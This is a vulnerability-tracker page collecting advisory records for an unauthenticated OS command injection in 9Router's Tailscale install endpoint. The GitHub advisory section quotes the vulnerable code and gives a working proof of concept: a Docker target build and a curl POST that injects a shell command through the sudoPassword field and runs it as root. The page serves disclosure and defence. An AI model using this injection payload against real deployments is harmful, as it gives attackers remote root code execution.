9Router < 0.4.44 - OS Command Injection via sudoPassword Parameter in Tailscale Install Endpoint

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).

Source published

7 Jul 2026 18:19:17 UTC

Source modified

7 Jul 2026 19:08:07 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

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CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CVSS 3.1 · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).

Source published

Jul 7, 2026, 6:19:17 PM (timezone not stated)

Source modified

Jul 7, 2026, 7:08:07 PM (timezone not stated)

Observed here

7 Nov 2026 13:25:27 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 9.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

9Router before 0.4.44 contains an OS command injection vulnerability in the unauthenticated POST /api/tunnel/tailscale-install endpoint (this route is not covered by the dashboard middleware matcher, so no authorization check is applied). The sudoPassword field from the request body is written to the stdin of a 'sudo -S sh' child process. When sudo does not prompt for a password (the process runs as root, NOPASSWD is configured, or a recent sudo timestamp cache exists), the sudoPassword value is interpreted by sh as a shell command, allowing a remote unauthenticated attacker to execute arbitrary OS commands. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-07-04 (UTC).

Source published

7 Jul 2026 19:16:55 UTC

Source modified

25 Oct 2026 20:10:00 UTC

Observed here

27 Oct 2026 15:15:33 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 9.2 CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

# Unauthenticated RCE via `/api/tunnel/tailscale-install` **Affected:** `9router` (npm package) — current master (`v0.4.39`). ### Summary `POST /api/tunnel/tailscale-install` accepts a JSON body with a `sudoPassword` field and pipes it, followed by the body of `https://tailscale.com/install.sh`, into a child process spawned as `sudo -S sh`. The route is not present in the dashboard middleware matcher in `src/proxy.js`, so the request reaches the handler without invoking `dashboardGuard.proxy()`. In deployments where the Node process runs as root (Docker images derived from `node:*` without a `USER` directive, `npm i -g 9router` invoked as root, or `systemd` units without `User=`), the spawned `sh` runs as root and executes the attacker-supplied bytes. ### Details #### 1. Middleware matcher (`src/proxy.js:3-15`) ```js export const config = { matcher: [ "/", "/dashboard/:path*", "/api/shutdown", "/api/settings/:path*", "/api/keys", "/api/keys/:path*", "/api/providers/client", "/api/provider-nodes/validate", "/api/cli-tools/:path*", "/api/mcp/:path*", ], }; ``` Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire `/api/tunnel/*` family — do not invoke `dashboardGuard.proxy()`. No cookie, JWT, CLI token, or `Host`-header check is applied to them. #### 2. Route handler (`src/app/api/tunnel/tailscale-install/route.js:18-67`) ```js export async function POST(request) { const body = await request.json().catch(() => ({})); ... const sudoPassword = body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || ""; ... const result = await installTailscale(sudoPassword, shortId, (msg) => { send("progress", { message: msg }); }); ... } ``` `body.sudoPassword` comes from the request body and is passed to `installTailscale`, which dispatches to `installTailscaleLinux` on Linux. #### 3. Linux installation routine (`src/lib/tunnel/tailscale.js:304-341`) ```js async function installTailscaleLinux(sudoPassword, log) { log("Downloading install script..."); return new Promise((resolve, reject) => { const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... }); let scriptContent = ""; curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); }); curlChild.on("exit", (code) => { if (code !== 0) return reject(...); log("Running install script..."); const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true }); ... child.stdin.write(`${sudoPassword}\n`); // ← from request body child.stdin.write(scriptContent); child.stdin.end(); }); }); } ``` The byte stream sent to the stdin of the `sudo -S sh` child process is: ``` <sudoPassword from request body>\n <https://tailscale.com/install.sh body> ``` When the caller is already root, has `NOPASSWD` configured for the user, or has a recent sudo timestamp cache, `sudo -S sh` does not read stdin for a password — it `exec`s `sh` directly. The new `sh` process inherits the stdin pipe and reads it line by line: 1. The `sudoPassword` value from the request — interpreted as the first shell command. 2. The `install.sh` body — interpreted as subsequent shell input. Appending `; exit 0` to the `sudoPassword` value causes `sh` to exit before the legitimate `install.sh` body runs. The host executes only the request-supplied bytes, as the 9router process user. Both "Docker container running as root" and "`npm i -g 9router` on a host with `NOPASSWD` sudo" reach this path. ### PoC The reproduction below is self-contained: build a representative target image (Node process running as root, with `sudo` and `curl` on `PATH`), start it, send one unauthenticated POST with `curl`, and read the file written by the payload. **Step 1 — build the target image** ```sh docker build -t 9router-vuln-root - <<'EOF' FROM node:22-bookworm-slim RUN apt-get update && apt-get install -y --no-install-recommends \ sudo curl ca-certificates \ && rm -rf /var/lib/apt/lists/* RUN npm install -g [email protected] EXPOSE 20128 CMD ["9router"] EOF ``` **Step 2 — start the target** ```sh docker run -d --rm --name target -p 127.0.0.1:20129:20128 \ 9router-vuln-root 9router --log --skip-update until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done ``` **Step 3 — exploit (one unauthenticated POST)** ```sh curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \ -H 'Content-Type: application/json' \ -d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}' ``` **Step 4 — verify** ```sh docker exec target cat /tmp/pwned.txt # uid=0(root) gid=0(root) groups=0(root) ``` The trailing `"Tailscale not installed"` line is a consequence of `; exit 0` terminating `sh` before the legitimate `install.sh` body executed; the `id > /tmp/pwned.txt` write completed earlier in the same `sh` invocation. The POST carried no credentials, cookies, or prior state. ### Impact **Type:** Improper Access Control + OS Command Injection (CWE-862 + CWE-78). **Affected operators:** 9router operators on Linux/macOS whose deployment matches one of the following configurations: | Configuration | Example | Outcome | |---|---|---| | Node process runs as root | Custom `Dockerfile` without `USER`, `systemd` unit without `User=`, `sudo npm i -g 9router && sudo 9router` | Unauthenticated remote root RCE (primary case in this report) | | Node process runs as a normal user with `NOPASSWD` sudo | Developer laptop, CI runner, or single-tenant VPS where the operator's user has `NOPASSWD: ALL` | Unauthenticated remote RCE as the operator's user; root reachable via `sudo` from the foothold | | Node process runs as a normal user without `NOPASSWD` and no stored password | Hardened multi-user host | The spawn runs but `sudo` rejects the supplied value. No RCE; the request still triggers an outbound fetch from `tailscale.com` and the SSE error stream reveals platform information |

Source published

2 Jul 2026 20:17:56 UTC

Source modified

7 Jul 2026 18:56:35 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Publisher rating · CRITICAL